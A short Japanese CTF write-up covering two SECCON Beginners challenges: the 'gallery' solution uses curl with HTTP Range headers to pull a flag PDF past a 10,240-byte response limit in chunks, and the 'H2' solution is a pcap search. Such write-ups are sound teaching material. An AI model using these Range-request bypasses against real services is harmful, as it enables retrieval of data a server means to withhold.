gallery
gallery (83 pt)
author:task4233
easy
絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?
仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?
main.go
func middleware() func(http.Handler) http.Handler {
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
})
}
}
10240までしかレスポンスで返ってこない。
HTTP Range Requestsを知ってれば解ける問題だった。
$ curl -X GET -H 'Range: bytes=0-10239' https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output - > 0.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 10240 0 10240 0 0 37785 0 --:--:-- --:--:-- --:--:-- 37925
$ curl -X GET -H 'Range: bytes=10240-20479' https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output - > 1.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5845 0 5845 0 0 29670 0 --:--:-- --:--:-- --:--:-- 29821
$ cat 0.pdf 1.pdf > ans.pdf
H2
H2 (69 pt)
author:xrekkusu
easy
バージョン2です。
h2.tar.gz
まさかのpcapをctf4bで検索するだけ